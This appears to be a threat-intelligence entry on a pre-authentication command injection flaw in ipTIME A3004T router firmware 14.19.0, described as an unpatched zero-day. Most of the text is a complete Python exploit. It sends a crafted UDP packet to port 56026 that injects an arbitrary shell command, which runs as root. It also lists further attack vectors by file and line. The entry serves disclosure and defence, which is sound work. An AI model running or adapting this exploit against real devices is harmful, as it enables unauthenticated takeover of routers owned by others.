A critical remote code execution vulnerability exists in the ipTIME A3004T router firmware version 14.19.0. The EAD service listens on UDP port 56026 and fails to filter source IP addresses, allowing unauthenticated attackers to send crafted packets that execute arbitrary commands with root privileges. The vulnerability arises from unsanitized user input passed directly to the system() call in the handle_send_cmd() function. Exploit code in Python is publicly available demonstrating this pre-authentication command injection. No official patch or vendor advisory is currently provided.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: ipTIME A3004T - Remote Code Execution # Date: 2026-06-29 # Exploit Author: Paccaron # Vendor Homepage: https://www.iptime.com # Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34 # Version: 14.19.0 # Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621) # CVE: N/A (Zero-Day) Description: The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026 and does not filter source IP addresses. A remote attacker can send a crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the device with root privileges. The vulnerability exists in the handle_send_cmd() function where user-controlled data is passed directly to system() without any input sanitization. Vulnerable File: /package/network/services/ead/src/ead.c Vulnerable Functions: handle_send_cmd() (lines 473-580) Vulnerable Lines: 512, 533 Attack Vectors: 1. Pre-auth RCE (Command Injection) - Lines 512, 533 2. Buffer Overflow - ead-client.c:245 (strcpy) 3. Format String - ead.c:952 4. Path Traversal - tinysrp/t_misc.c:143 5. Denial of Service - ead.c:716 (while loop) import socket import sys def exploit(target_ip, command): """ ipTIME A3004T EAD Service Pre-auth RCE Exploit by Paccaron Tested on firmware 14.19.0 """ port = 56026 # EAD_TYPE_SEND_CMD = 0x0a (10) # Minimal packet structure payload = b"\x00\x00\x00\x0a" # EAD_TYPE_SEND_CMD payload += b"\x00" * 60 # Padding payload += b";" + command.encode() + b"\x00" # Command injection sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(payload, (target_ip, port)) print(f"[+] Command sent to {target_ip}:{port}") print(f"[+] Command: {command}") sock.close() return True except Exception as e: print(f"[-] Failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python exploit.py <TARGET_IP> <COMMAND>") print("Example: python exploit.py 192.168.1.1 id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)